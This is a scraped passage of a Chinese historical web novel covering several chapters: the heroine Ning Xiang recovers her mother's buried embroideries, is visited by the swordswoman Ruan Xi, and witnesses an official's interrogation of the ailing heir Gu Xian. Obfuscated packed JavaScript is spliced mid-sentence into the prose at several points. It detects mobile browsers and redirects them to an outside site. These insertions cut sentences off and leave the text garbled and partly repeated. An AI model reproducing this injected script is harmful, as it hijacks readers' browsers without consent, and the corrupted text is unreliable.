她并不是在问宁襄,所以宁襄便也没有回答,她打理好自己重新回到昨夜她们睡觉的小屋内,姚嬷嬷也跟着过来:“之前夫人也是住的这屋。” 她看了看宁襄,感慨道:“没想到姑娘巧合之下,居然赁到夫人以前住过的地方。” “不是巧合,”宁襄摇了摇头,“我一开始便是要来这里的。”所以她离开宁家所在的地方后,直接便往这边来了,根本没有迟疑。 她在屋内走了一圈,屋内空旷,除了一张床一张桌子便也没有其他东西,宁襄走了一会,在屋子西边的角落停下。 这院落虽小,如今又这般破败,但曾经的主人祖上曾经富有过,这院子其实考究得很,屋内铺着砖块,虽然因为年久免不了带着扫不干净的尘土,但总体还是干净的。 宁襄站着的地方看起来并没有什么特别之处。 踩上去也感觉不出什么异常。 她们住的地方离坊市很近,昨日采办东西时,宁襄买了一把小镐跟小花锄。 昨日来帮工的女子好奇问过,宁襄说她想要种花,那人便没再多问。 如今宁襄却拿着小镐蹲坐在屋角。 她似乎想要撬开地上的地砖,姚嬷嬷见她生疏不得其法,连忙从她接过工具—— 不过姚嬷嬷也没干过这种事同样是生疏得很,地砖一块一块被撬起来,半天工夫,两人换着手,终于撬出大概长宽都差不多一尺多的地方。 砖头之下是土,并没有什么东西。 姚嬷嬷并没有抱怨,只是笑了笑:“姑娘要寻宝只怕是没这么容易。”她以为宁襄是听了什么传言,以为这屋子里藏着什么宝藏所以才想要租赁下这屋子…… 虽然沈慧曾经在这里住过,但是姚嬷嬷没有把宁襄要住这里的原因往沈慧身上想,她是觉得,宁襄以前经常跑出去听人说书,只怕是听到了什么藏宝的故事,所以过来寻宝。 不过也许并不是从说书先生那里听到的——若是从说书先生那里听到的,肯定不只是宁襄一个人听到了,别人知道了肯定也会来寻宝,若真有什么宝藏,这宝藏轮不到她们,她们也不可能用那么低的价格赁下这住处。 也许宁襄只是想找事情打发时间而已。 宁襄没有说话,拿过一旁的小花锄拨弄着砖下露出来的土。 姚嬷嬷很快也察觉到不对劲了。 砖下的土按道理来说应该是地基已经被夯实了,但她们撬开的地方,土却是有些疏松的,像是被人挖开又重新填上,因为并没有夯实,跟周边的地有些不一样。 即使应该是被人重新踩过一遍,又过了这么多年,那些土块还是有些松散,宁襄并没有急躁,一点一点用小花锄挖开,姚嬷嬷见她累了想要帮忙,宁襄倒也没有拒绝,只是嘱咐她小心一点,不要太用力。 姚嬷嬷听她的话又挖了一会,感觉到下边有东西,不敢再往下挖,将土用小花锄掏出来,将挖开的洞口扩大,费了半天工夫终于把地下的小匣子取了出来。 那是一个普普通通的木头匣子,长约一尺,宽约一掌,上边没有什么纹饰,姚嬷嬷对其并无什么印象。 不过不妨碍她有些激动。 实在是昨日花费太过,如今见这东西藏得这般隐蔽,忍不住会想里边会不会有什么宝物。 唯一顾虑是——这东西会不会是原屋主留下的,而屋子的原主人都已经过世,虽然不知道他们是不是还有其他亲人,但就这般据为己有……还是有些不安。 不过这不安随着宁襄将匣子打开,便消失了。 里边并无什么珠宝银两,只是有两卷被封住的圆筒状的东西。 等宁襄将包裹的东西除去,那些东西也重见天日。 是几幅绣品。 是沈慧的真迹。 这东西是沈慧埋下的,属于沈慧的东西如今自然是属于宁襄的。 因为是在屋内地下,匣子里又放了防虫的东西,匣子没有被水火侵蚀也没有被虫蛀,里边的几幅绣品保存完好,按着当年沈慧贱卖自己绣品的价格而言,并不珍贵,至少比不上宁家送给陶卓的那一幅。 但至少能抵过她们之后的花用,也能将欠顾闲的银钱还回去,好赎回抵押在顾闲那里的卷轴。 不过姚嬷嬷并不打这些绣品的主意:“这是夫人的遗物,姑娘可一定要收好了。” 打定主意找个营生,然而纵然姚嬷嬷自己精打细算,如今人生地不熟,也是没有门路没有办法的。 宁襄当然不可能让姚嬷嬷这么一大把年纪还出去讨生活——这些年里,姚嬷嬷自己的月银都倒贴给了她,如今又怎么还能心安理得让姚嬷嬷养活自己。 “留下一幅。”她在其中挑了挑,留下一帕可做扇面的绣品,其余的,都重新放回匣子中。 两人一道将泥土砖头重新填回去,姚嬷嬷一边忙活着一边感叹,“没想到夫人居然还留了一手。” 宁襄默然——大概那时候沈慧已经明白了她俩回宁家是一条不归路吧。 沈慧此举倒也不是故意给宁襄铺的后路,毕竟当年沈慧的绣品并没有扬名,在外人、甚至沈慧自己看来,她只是绣艺比寻常人出众一些的绣娘而已。 她没有想到那么长远的将来,她只是想在这世间留下一些东西,她觉得自己的绣品不值钱,这般小心翼翼地藏起来,只不过是希望日后给宁襄留个念想而已。 她这事谁都没说,连姚嬷嬷都不知道——她也没来得及告诉姚嬷嬷,她就去世了。 姚嬷嬷有些好奇:“姑娘怎么知道这里有夫人留下的东西的?”难怪昨日宁襄一点都不担心,原来早有后着,她是一早便决定要赁下这屋子的,所以根本就是直奔这边而来。 宁襄没有回答姚嬷嬷的问题。 姚嬷嬷自己想了想,感叹道:“姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚嬷嬷看了看空荡荡的隔壁屋子:“他们这么好的人……怎么就遭遇了不测呢?” 宁襄低头:“他们也是无辜受累,才受了这无妄之灾。 “对了,”姚嬷嬷想起之前的事:“姑娘刚来京城,便知道这地方曾经出过人命,因着这消息,我们才能以那般低的价钱将屋子租赁下来,才能拿回夫人生前的旧物。” 她随口一问:“姑娘是怎么知道这些事的呢?”就算是早慧记得十几年前沈慧埋下的东西,可是宁襄已经离京十二载,这宅子中的人命发生在五年前,可是宁襄似乎清楚地知道这十几年里京城都发生过什么。 就仿佛宁襄跟着姚嬷嬷远居在千里之外的普阳县的同时,也一直居住在京城,知道京城发生过的许许多多的事,仿佛京城发生过的事,她都知道——她先前也直接挑明宁海将沈慧的遗物送给了陶卓——这种事宁海不可能跟宁襄说起,可是宁襄就是知道。 宁襄抬头看向姚嬷嬷,低头沉思,不知道应该如何跟她说。 “姑娘以前常常出去听说书先生说书,是不是听说过这一段?”不等宁襄想好说辞,姚嬷嬷已经径自替她找了原因,“原来多听说书还有这样的好处。” 宁襄迟疑了一下,轻声应了一声:“嗯。”不再试图解释。 有些事她自己知道便好。 11. 011 阿阮 姚嬷嬷跟宁襄在院中煮着茶,听到外边有敲门声,姚嬷嬷起身,边走边问:“是不是张中人?”她们初来京城,也不认识什么人——至于宁家,如今也是自顾不暇,大概是不会来找她们的——他们也未必知道或者关系宁襄如今住在哪里。 经过昨日一事,只怕他们恨不得宁襄死在了外边,哪里还会想找她——就算要找,只怕也是寻仇。 “谁呀?”姚嬷嬷开了门,外边站着一个不认识的人,姚嬷嬷有些疑惑:“姑娘你是?” “大娘,”女子的声音在外边响起,宁襄绷紧了身子,听到外边的人道:“我路过此地有些口渴,不知道能否进来讨一杯水喝?” “这——”姚嬷嬷回头想问宁襄的意思:“姑娘?” 宁襄想要出声拒绝,外边的那人已经径自道:“多谢大娘。”说着人便进来了。 进来的女子一身劲装,约摸二十出头的模样,头发不像寻常女子一般梳着各式各样的发髻而是如男子一般简简单单用发冠束起,她身上的衣着也不像是女子穿的,更像是男子的衣衫,但是不会有人看错眼觉得她是男子,一眼还是能看出她是女子。 她身上英气与柔和融为一体,就连腰间也不像寻常姑娘一样是配着荷包或者玉佩,而是别了一把剑,但让人看着觉得安全,且又不会生出防备。 她站在宁襄面前,盯着宁襄的脸:“姑娘不好意思,是在下叨扰了。” 宁襄回过神来,没有看她:“无妨。” 姚嬷嬷跟回来,虽然对于对方不请自入的行为有些不满也有些不安,但还是镇定下来,拿了个粗瓷的杯子洗净烫过,这才倒了杯茶给她:“杯子看着粗糙,但是是新的没有用过,希望姑娘不要嫌弃,茶只是粗茶,也不知道姑娘是不是用得惯——” “大娘不必如此客气,只是解渴而已,没那么多讲究,”那人接过茶杯,却并不喝,只是拿在手中,“之前这院子里没有住人,大娘你们是最近刚搬来的吗?” “姑娘也是住在附近?”姚嬷嬷以为是邻居,有些欣喜,“不知姑娘住在哪里?” “我不住在这附近,”对方摇头,“我只是路过而已。” “这里曾经死过人是凶宅,”她盯着握着杯子的手,看着杯中的涟漪,“你们胆子真大,怎么敢住进来。” “这也是没有办法的事,”姚嬷嬷应道,“都是钱给闹的。”她自然不会把宁襄和沈慧的事说给一个陌生人听。 “大娘是哪里人?”那人依旧没有喝茶,“什么时候到的京城?” “我们不是京城本地人氏,之前我们都住在普阳县的,”姚嬷嬷这事倒也没必要隐瞒,“普阳县姑娘怕是没听说过,在湖州府城旁边。” “湖州那是挺远的,”她点了点头,“从湖州到这里……大概要走多久?” 姚嬷嬷不疑有他:“两个多月吧,我们是从六月初开始出发的,昨日才到的京城。” “嬷嬷,”宁襄终于出声,阻止了姚嬷嬷继续说下去,看向来人,“姑娘应该是用不惯这茶水,不必勉强自己。” 顿了顿,宁襄又道:“姑娘看着可不像是口渴之人。” “是啊,姑娘先前不是说口渴了吗,怎么不喝?”姚嬷嬷闻言好奇地打量了一番来人,眼神带了丝戒备,语气也有些忐忑,“姑娘前来不是为了喝水、是有别的事?” “茶水太烫了,”来人扯了扯嘴角,盯着宁襄的脸,苦笑道,“我这就喝。” 宁襄没有接话,也没有看她。 那人便只是看着宁襄,将杯子送到嘴边,迟疑了一瞬,抬起手将茶水一饮而尽。 再放下时,眼眶似乎有些红了。 “唉,姑娘若是太烫了就再晾一会没事的,”姚嬷嬷见状赶忙道,“不必喝的这么急的。” 然而她并没接话也没有告辞,只是盯着宁襄。 宁襄低着头,也给自己倒了杯茶,又给她续上一杯。 两人都没有再开口。 静默无言之间,听到张四娘的声音响起:“阮姑娘?” “阮姑娘你在这里啊,我听人说您来了就赶紧过来看看,”张四娘站在门外,经过昨天的事,知道宁襄和姚嬷嬷两人之中做主的是宁襄,征求她的意思,“宁姑娘,我可以进来吗?” 宁襄点头:“进来吧。” 张四娘一进来便跟阮希赔罪:“阮姑娘,这事是我的错,因着你们一直没有过来,我以为你们不要这房子了——刚好,她俩急需寻一个住处,我不忍看她们流落街头,这才将屋子赁给了她们……真不是故意毁约的。” 阮希没有说话,张四娘有些忧心忡忡盯着阮希腰中的剑,不敢出声。 京中对武器之类的东西防备严格,能配着刀剑在京城随意行走,定然是官家的人——反正不是她一个走街串巷的中人能惹得起的。 姚嬷嬷似乎是听明白了:“姑娘就是昨日中人口中的‘贵人’吗?” “贵人不贵人的当不得,我是替——”阮希顿了顿,又看了看宁襄,“替我家主子过来问一问的。” 宁襄抬头看了她一眼,但是并没有说什么。 “姑、阮姑娘,”姚嬷嬷以为对方今日登门来者不善,咽了咽口水,“事情是这样的,虽然是你们先看中的,但空口无凭的,你们又失约了半个月……人中人不可能一直将屋子空着是吧?如今这屋子我们已经租赁下来了,也是签了契约交了钱的,今日中人也去官府存了档的,就算现在你们已经买下了这屋子,我们之前的契约也是生效的,我们签了两年的契约交了两年的银钱,暂时是不会也不能搬走的。” 张四娘也是有些为难:“看我这事办的……真的是太巧了,若是阮姑娘早来一日,我说什么也不会办出这样的事来。” “嬷嬷放心,”阮希随着宁襄改了口,又看了看张四娘,轻轻摇头,“我不是来兴师问罪的。” 张四娘拍拍胸脯,终于安下心来,不过还是有些不解:“那阮姑娘今日过来是?” “只是过来看看而已,”阮希说着话看看宁襄,“看看这院子里最后住的是什么人。” 不是来闹事的便好,张四娘彻底放心,不过随即脑子又活泛起来:“不知道阮姑娘跟着的那位贵人对这院子还有没有兴趣?虽然院子已经租出去了,但两年很快就会过的……贵人若是有意的话,之后我还替贵人留着……到时候价钱好商量……为表示诚意与歉意……到时候按市价的八成卖与你们如何?” 她倒是打的好主意,提早两年便把顾客定下了,而这屋子住了人,两年之后必然摆脱凶宅的名声,到时候怎么都比她收进来时赚的多。 “当然,贵人若是现在便要买也成的,”张四娘见姚嬷嬷要开口,赶忙道,“不过现在买的话,的确是有些不便……若是贵人急着住进来……倒是可以给她们一笔赔偿,这样谁都不会吃亏……当然若是贵人不急着住进来,让她们继续住着也不会影响不是吗?” 横竖她已经收了的银钱是不打算退的意思,横竖她都是赚的,宁襄听懂了,阮希也听懂了,阮希嘴角微微上扬,摇了摇头:“不必了。” 张四娘还是不肯轻易放弃:“阮姑娘若是不信,我也可以给阮姑娘留个条子做凭证的。” “不用了,”阮希仍旧摇头,“我家主子……不能再买下这院子了。” “这样啊,”张四娘做不成生意,一脸惋惜,“那阮姑娘今日过来……” “只是过来看看而已,”阮希神色如常,“张中人你回去吧。” 张四娘这才告辞离去,阮希却没有起身,还是坐在宁襄对面,姚嬷嬷送了张四娘回来,看到阮希仍然没走,心中有些不安——毕竟今个一早,她们在小屋内忙活了一通,虽然说将砖土填回去了,但若是这时候去看,只怕还是会露出一些行迹。 虽然她们拿的是沈慧的遗物,是属于宁襄属于她们自己的东西,但在外人看来或许并不是这么简单,若是有人认死理,她们也是说不清的。 “我知道你们,”阮希终于开口,“昨天发生的事我听说了。” 宁襄点点头,并没有多说什么。 “我知道,这世间有许多巧合事,”阮希抬头看向宁襄,“但我不信所有的一切都只是巧合。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484433|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “任何巧合都是有因由的,”她盯着宁襄,“你们昨日才来京城,为何一来到京城便要住这里?” “这真的只是巧合,”姚嬷嬷连忙接过话由,“阮姑娘这些话……也是牵强附会得很。” “那日她进……之前特意绕了路来到这附近,莫名其妙询问起这院子的情形,”阮希低头,“她说过两日会将此地买下送与一个人……我问她是要送给谁,她没有跟我说。” 宁襄依旧沉默着,姚嬷嬷怕对方仍旧没有死心,有些紧张:“阮姑娘?” “不是我们夺人之所好,实在是我们如今需要一个住处暂时离不了这里,”姚嬷嬷跟她解释着:“听张中人说你家那一位看起来便像是贵人……既然是贵人,想要什么样的居处没有?何必非要跟我们抢呢。” “放心吧,”阮希吸了吸鼻子,“我不会跟你们抢的。” “要买这院子的人已经不在了……”阮希苦笑着,“我也不知道,我该不该替她做这件事。” “也许你本来就什么都不用做,”宁襄终于出声,只是她并没有抬头,“阮姑娘,你回去吧。” “你……”阮希抿着嘴,盯着宁襄,“你能不能叫我一声‘阿阮’啊?” 她将双手放在石桌上,一脸的紧张,不知道在期盼什么。 宁襄沉默良久:“我与你素不相识,似乎不适合这般亲近的称呼。” 阮希咬着嘴唇,眼中水光闪动,面上带了一丝灰败,她眼中的光芒一点一点地微弱下来:“可是……” “可是……”她声音呢喃,“我想听人喊我一声‘阿阮’。” “这世间不会再有人喊我‘阿阮’了,”阮希声音几不可闻,“我想听你喊我一声‘阿阮’……” “你我素不相识,本不该叫得这般亲密,但如果你非要如此,那我喊一声也无妨,”宁襄看着她,轻轻叹气,“阿阮,你回去吧。” “好、好的……我都听你的,”阮希终于起身,走了两步却踉跄起来,她终究没办法大步迈开脚步离开,背对着姚嬷嬷和宁襄,蹲在昨日没工夫清理、还长满了杂草的花坛前,将头埋进双肩,肩膀一抖一抖的,却没有任何声音。 从她站在门外到进来之后,她一直看着坚定淡然,此时此刻,却无端端让人感觉到了她的脆弱。 姚嬷嬷想要上前安慰,被宁襄伸手拦住——让她自己解决就好。 阮希蹲在那里哭了约莫一刻,终于起身,抹了抹脸,回头看着宁襄,眼眶还带着红眼睛里还带着湿意,她看着宁襄:“你说得对,如今我们素不相识——” 她张了张嘴,压抑着什么,半晌才道:“宁、宁姑娘。” “嗯,”宁襄应道,随后点头,“阮姑娘。” “阮姑娘,”宁襄重复了一遍,“你回去吧。” 宁襄顿了顿:“昨夜在外边的人是你对吗?” 阮希没有说话,宁襄便只是叹气:“我们住到这里纯属巧合,你不要多想。” “对,”姚嬷嬷也跟着道:“真的只是凑巧而已。” “我知道,”阮希挤出笑容,最后看了一眼宁襄,“这世间,原来真的有巧合一说。” 宁襄目送着她离开,姚嬷嬷过去把门关上,回到宁襄身边还有些心有余悸:“姑娘,真的是吓死奴婢了。” “幸好这阮姑娘看着像是好说话的,”她感叹道,“也幸好她没有要求四处看看。” “奴婢还以为姑娘昨日没听到声音呢都没敢跟姑娘说起这事,昨夜外边的声音真是她?”姚嬷嬷不太放心,“你说这阮姑娘大半夜的不睡觉到底想干嘛……” 见宁襄还在走神,姚嬷嬷喊道:“姑娘?” “啊?”宁襄回过神来:“嬷嬷你刚才在说什么?” “没说什么,”姚嬷嬷没有重复之前的话,也不是什么重要的话,“姑娘在想什么呢?” “没在想什么,”宁襄摇头,声音幽然,“只是在想……” 她声音低低的,连姚嬷嬷站在一旁都没有听清—— “女子的直觉……真的是世界上最没道理的东西啊。” 12. 012 七日 去成国公府找顾闲的时候,一路上宁襄都有些忐忑。 这样贸然登门,虽说事出有因——为了还钱——但毕竟唐突。 也不知道顾闲有没有把这事告诉国公府的人,若是上门连门都进不了见不到人……如今想想,当初把东西交给顾闲,的确是太过于草率了些。 只是东西必须得拿回来,钱也必须要还,这一趟还是免不了要走一遭的。 值得庆幸的是,顾闲似乎把这事告知了国公府的人,听到她说要找顾世子,门房的人看了她一眼,倒也没有直接赶人,只是宁襄进得府内,却没有看到顾闲。 接见她的是国公府的大管家冯管家。 宁襄倒也不是非得要见顾闲,其实不见最好,跟冯管家说明自己的来意,冯管家点了点头:“世子有提起过这事……只是没想到姑娘这么快就登门……” 他有些为难:“世子这几日都不在府上。” “无妨,”宁襄顾闲的锦囊拿出来放在桌上,“这是……顾世子当初借与我们的锦囊……冯管家麻烦清点一下,看看数目是否对得上。” “若是数目对得上的话,”宁襄顿了顿,“锦囊归还给顾世子,我也要取走我的东西。” 风管事摆摆手:“这事小的不能做主,姑娘还是过些时日再来吧。” 宁襄不解:“为何?” “不是小的故意为难姑娘,只是这事小的真不能做主,”冯管家不接宁襄放在桌上的锦囊,“实在是我们世子如今不在府中,他之前也没有交待过如何处置……小的不敢擅自替世子做决定,还是等世子回来了再说吧。” “那好吧,”宁襄点头,“你们世子什么时候回来?” “这可说不准,”冯管家摇头,“少则十天多则半月吧。” 宁襄默然:“可是那东西不能长留在贵府……我还是想尽快将东西拿回去……说实话,那东西留在府上……只怕会对贵府不利。”之前是她疏忽了,急着留一个凭证,却忘了那东西跟陛下有关,而顾家跟皇家的关系……卫显还对顾闲虎视眈眈,那东西委实不应该留在顾家。 “冯管家能不能帮顾世子把锦囊收回,然后将东西还我?”宁襄重复问了一遍:“这样其实也并不麻烦——若是冯管家担心说银钱的数目对不上……我也可以把自己如今住的地方留给冯管家,出了问题可以找我解决……” “姑娘这真的不行,”冯管家连连摆手,“不是信不过姑娘,但真的说起来,小的们也不知道世子借了姑娘多少钱,世子没说,小的也不敢随意便收——再说了,世子借钱时小的并不在场,除了世子以外谁也不知道姑娘到底什么模样……这万一有人上门冒名顶替的话……当然小的说的不是姑娘,只是凡事都有个万一……万一真出了事,我们世子只怕是要失信于人……所以这事必须得等世子回来自己解决,姑娘还是先回去吧,等过几日再来。” “或者姑娘也可以留下住址,等我们世子回来之后,小的告诉他,”冯管家提供了另外的解决办法,“到时候我们世子亲自将东西归还……姑娘看这样怎么样?” 她之前说要提供住址是为了取信冯管家,但实际上,宁襄还是不愿意太多人知道自己如今的住处的,不是不信任只是觉得没有必要——如今顾闲既然不在,宁襄叹气:“那我过些日子再来吧。” 她想想还是不放心:“你们世子到底什么时候会回来?” “这小的真的说不准,”冯管家连忙道,“但我们世子一回来,我们便会将这事告诉他的……所以姑娘还是留一个住址吧,这样比较方便。” “住址就不必了,”宁襄顿了顿,“或者冯管家可以告诉我,你们世子如今在哪里?” “这……毕竟是世子的私事,不好告诉姑娘吧,”冯管家摇头,“再说了……世子是主子,他要去哪里……小的们怎么会知道呢?” 宁襄便不再纠结:“这样吧,若你们世子这两日回来了……告诉他我过三日再来。” “这样也行,”冯管家点头,“等我们世子回来,小的便会告知他。” “你知道他在哪里,”宁襄断言道,“你方才说你们世子要十天半月才回来……如今我说三天你也应下了,说明你知道你们世子在哪里,随时都能去找到他告诉他发生了什么。” “这……”冯管家舌头打结,“希望姑娘不要误会……我们国公府真的不是想将姑娘的东西扣着不还……只是我们世子这几日的确是在忙……我回头就跟他说,就按着姑娘说的,三日后姑娘上门,我们世子一定会在府上。” “顾世子无故不得离京,”宁襄叹气,“所以顾世子还在京中对吗?” 冯管事没有回答,宁襄便也不再追问:“罢了,我三日后再来。” 冯管事将宁襄送出府,原本还想送她回去的,然而宁襄摇摇头,拒绝了他的好意。 她走在京城的街道上,看到路边许多人家都挂了白色的灯笼——当然不是所有人家都死了人,只是如今是长公主薨了,陛下要求举国举孝,陛下的命令谁敢不从,何况还有镇抚司在,时时盯着,若是谁家做不好……可不是轻易便能善了的事。 国公府里她们如今住的地方,有一段不短的距离,宁襄也不急着回去,慢悠悠地走着,国公府所在的地方,也容易遇着路过的车马,需要停下来避让,因此这一程走得极慢。 路边偶尔也会看到有人烧着香烛元宝纸钱,整座城似乎都弥漫着祭奠的味道。 她皱了皱眉头,并不赞同这样的行为,到处生火,容易有火灾的隐患,太多人祭奠也容易导致一些人投机的行为,受累的还是百姓,再说了,这烟雾缭绕灰屑满天的,影响也不好。 只可惜,她不能说什么也不能做什么,就算是长公主也没办法阻止这些。 宁襄后知后觉的想起,今日是长公主的头七,虽然拿到了沈慧的遗物,可是将其出手也并不是简单容易的事情,她们花了几日才将沈慧的绣品卖出去,一转眼,竟然是长公主的头七了。 她来京城,恰好七日。 宁襄住的地方离成国公府很远,离皇宫很远,她要回去的话,不必经过或者说靠近皇宫。 但不由自主的,她还是走到了宫城附近。 她没有过去,更不会异想天开想要进宫,只是远远地抬头望了望那巍峨的宫墙——这是天底下最坚固的壁垒,也是这世间最难以逃脱的牢笼,多少人想进去而不得,但也有人想出来而不得。 宫城内外都有人把守着,宁襄也没有靠近,远远看一眼,转身便头也不回地离开。 她回到如今住着的地方时,天已经快黑了,再过一会天黑之后便是宵禁,终于等到她回来的姚嬷嬷总算是安下心来——宵禁之后若是宁襄还没有回来,她只怕就要担心死了。 “姑娘你可算是回来了,”姚嬷嬷帮着拍了拍宁襄身上的灰——大概是一路上被风吹到她身上的——姚嬷嬷仍旧是后怕得很,“早知道奴婢应该跟着姑娘一起去的。” 宁襄摇了摇头:“放心吧,我又不会走丢。” “姑娘这一出门便是一整天,奴婢可真是担心死了,”姚嬷嬷拍拍胸口,“姑娘再不回来,奴婢只怕就要出去报官寻人了。” 宁襄自觉理亏:“我这不是回来了嘛。”她其实可以早点回来的……若不是多绕了一段路的话。 “可是出了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姚嬷嬷点头不再多说,想了想将自己准备的东西拿过来:“姑娘,我们也为长公主烧些东西吧。” 宁襄呆了呆,正想摇头,姚嬷嬷又道:“长公主毕竟与姑娘渊源一场,也算是最后送长公主一程。” 宁襄便没继续阻止。 她看着姚嬷嬷将东西一点一点投入火盆中,只是看在那些火舌一点一点将那些纸扎的东西一点一点吞噬,静默无言。 姚嬷嬷一边烧一边道:“姑娘你说,这些东西长公主能收到吗?” 宁襄摇了摇头。 姚嬷嬷也不知道她摇头是说不知道还是说收不到,也不深究,只是继续问道:“都说头七这日,死去的人会回到家中……也不知道长公主回的地方到底是哪里……公主府……卫家……还是皇宫?” 宁襄仍旧只是摇头。 “也许她都会去吧,”姚嬷嬷感叹道:“长公主一定有许多放不下的人和事……要走的地方只怕很多……你说她会不会来找……” 她本来想说会不会来找宁襄,说着说着自己又怕了,宁襄闻言笑了笑:“嬷嬷别胡思乱想,回去睡吧。” 姚嬷嬷点头,收拾了东西以防走火,宁襄与她一道往回走,正在这时,突然感觉天上似乎有亮光闪过。 宁襄抬起头,远处的天空绽开一朵朵绚烂的烟火,此起彼伏,照亮了半个夜空,仿佛漆黑的夜被人用浓墨重彩渲染过一般,却又转瞬即逝。 时人较少看到这般景色,一时之间竟都看呆了。 等到烟火散去,天空归于寂静,姚嬷嬷才回过神来,随即想到什么,变了脸色:“是谁这般大逆不道……” 烟火这种东西,大多数时候都是被禁止的,每年也就元宵时,允许燃放,其余时候都是禁绝的,只除了偶尔什么大的盛会…… 总的说来,烟火算是某种带着庆祝的形式吧。 平时尚且不许燃放烟火,何况是今日——长公主头七之时。 今夜的京城,只怕是不会安宁。 宁襄幽幽一叹:“其实挺好看的。” 顿了顿,又长叹一声。 13. 013 伪证 翌日一早,外边便有些喧闹,姚嬷嬷出去了一趟,回来便关了门,看到宁襄要出去,连忙喊住她:“姑娘你这是要出去?” 宁襄点了点头:“去成国公府。”虽然约定的是后日,但是——她担心夜长梦多。 “姑娘今日可不能出去,”姚嬷嬷摇头,拍着胸口,“外边乱糟糟的,到处都在查人,我们初来乍到,姑娘这几日暂时还是不要出门了吧。” 宁襄看了姚嬷嬷一眼,姚嬷嬷叹气道:“准是要找昨日放烟花的人——要说这人也是太胆大妄为了些……怎么能在昨日做那样的事呢。” 陛下的旨意举国上下禁止饮乐,烟火之物通常用来庆祝——在长公主死去第七夜“庆祝”,可以被认为是大逆不道之举,也难怪外边在到处找这个人。 宁襄看了看头顶的天空,低头面上带了些隐忧。 宁襄坐在院子,外边的声音一直闹腾到午后才安静下来,宁襄这才起身,跟姚嬷嬷说了一声,姚嬷嬷依旧担心,但眼见劝不住宁襄,便打算陪同她一起出去。 用姚嬷嬷的话来说——万一真的出了什么事,两人一起也好有个照应,她留在家中也是提心吊胆得很。 那些到处搜寻的士兵仿佛突然销声匿迹了一般,她俩几乎畅通无阻地到了西城那边的成国公府。 巧合或者说不巧的是,顾闲似乎有“客人”——这客人按理说宁襄也该认识的。 大理寺卿陶卓——宁襄继母陶氏的父亲,宁海的岳丈与座师。 当初宁海自作主张将沈慧的遗作送给了陶卓,宁襄回京第一日,便借着卫显的势将其讨回——冤家路窄。 他们两拨人在成国公府门外遇上了。 陶卓毕竟身居高位,并不认得宁襄,但是宁襄让陶卓吃了那么一个亏,就算他不记得,也有人帮他记得,所以宁襄出现的那一刻,便有人跟陶卓禀报了什么,随着那人的禀报,陶卓的视线也落在了宁襄身上。 宁襄跟姚嬷嬷在宁府门外闹了那么一出,短短几日便已经声名在外,作为当事者之一的陶卓虽然那日没有出现,但对于让自己吃瘪了的人不可能不去打听打听,所以看向宁襄的时候,陶卓笑了一声,笑容有些阴恻恻的。 只是今日陶卓的主要目标并不是宁襄,因此他只是看了宁襄一眼,心内记下这个人便移开目光。 今日成国公世子才是他的目标。 国公府的门被从里边打开,宁襄看到一人站在里边,似乎恭候多时,是宁襄上次见过的冯管家,此刻他神色恭敬:“陶大人。” 看到宁襄的时候他愣了一瞬:“姑娘今日府上有贵客,怕是招待不周,姑娘改天再来吧。” 宁襄摇头:“来都来了,还是今日将事情了了吧。” 本以为陶卓会反对,哪知他也只是看了宁襄一眼,踱步进去了。 宁襄待得他的人都进去了,这才跟在后边也踏了进去。 冯管家一脸无奈:“旁人都避之而不及,姑娘你何必一头扎进来。” 宁襄愣了愣——曾几何时,她也曾以为自己能置身事外,但如今事已至此,她一时想退也退不了。 她看向冯管家:“我的东西还在世子手上呢。” 宁襄让姚嬷嬷在门房处等着自己,而她却是跟在冯管家身后——也即跟在陶卓身后去见顾闲。 顾闲并不在厅堂内等着陶卓,而是在自己居处。 宁襄还没近前,便闻到了一股浓浓的药味。 宁襄迟疑了一瞬,面不改色地跟在冯管家身后进了顾闲的厢房。 陶卓已经在里边了。 不过几日未见,顾闲的样貌比起上次看到的,虚弱了许多。 他人本来就消瘦,如今病恹恹躺在床上,面上没有半分血色,连说话都好似十分艰难:“陶大人。” 只说了三个字,便忍不住重重咳了起来,他手中的帕子捂着口鼻,咳得撕心裂肺,好不容易止住,冯管家连忙上前换过他手中的帕子。 也不知是有意无意,在场的人都看到了帕子上咳出来的血。 冯管家将帕子拿去烧了,小心翼翼到陶卓跟前:“大人,我家世子不能见风,可否将帘帐放下?” 陶卓眼神不善:“本官今日前来,是为查案,看着国公爷的面子上,没有让顾世子被提审至大理寺,已经是网开一面,再得寸进尺是否有些恃宠而骄?” 冯管家沉默了一瞬,躬身退下:“罢了,众所周知,我家世子自小得了痨病,不过大人一身正气不怕被染上,是小的多嘴了。”说着自己退到远一些的地方。 陶卓愣了一瞬,稍稍退后了几步,他带来的人不敢退,感觉喉中不自在,陶卓轻咳了一声:“顾世子,请问你昨日在何处做了什么?” 顾闲没有直接回答陶卓的问题,反而似乎十分关心他的身体:“陶大人怎么咳上了?” “虽然大夫都说,我这病会传给别人,但是这么多年了,我身边的人小心防范着倒也没几个被染上的,”顾闲又咳了几声,将手中的帕子折好,“陶大人回头若是病了,可不能诬陷好人说是我传给陶大人的。” “不过只是咳嗽而已,未必就是痨病,陶大人倒也不必多想,”顾闲嘴角带着血丝,声音无力,“陶大人最近在做什么?这般劳累病着了?说起来……一般找人问话这事近年来不都是镇抚司做的吗……怎么陶大人亲自来审?再不济也该由下属代劳……陶大人年事已高……凡事可得悠着点,卫大人一心想将大理寺也收入囊中,陶大人若是病了……岂不是正合了卫大人的意,众人皆知我与卫大人不和,这种亲者痛仇者快的事情……我是不愿意看到的——所以陶大人一定要保重自己啊。” 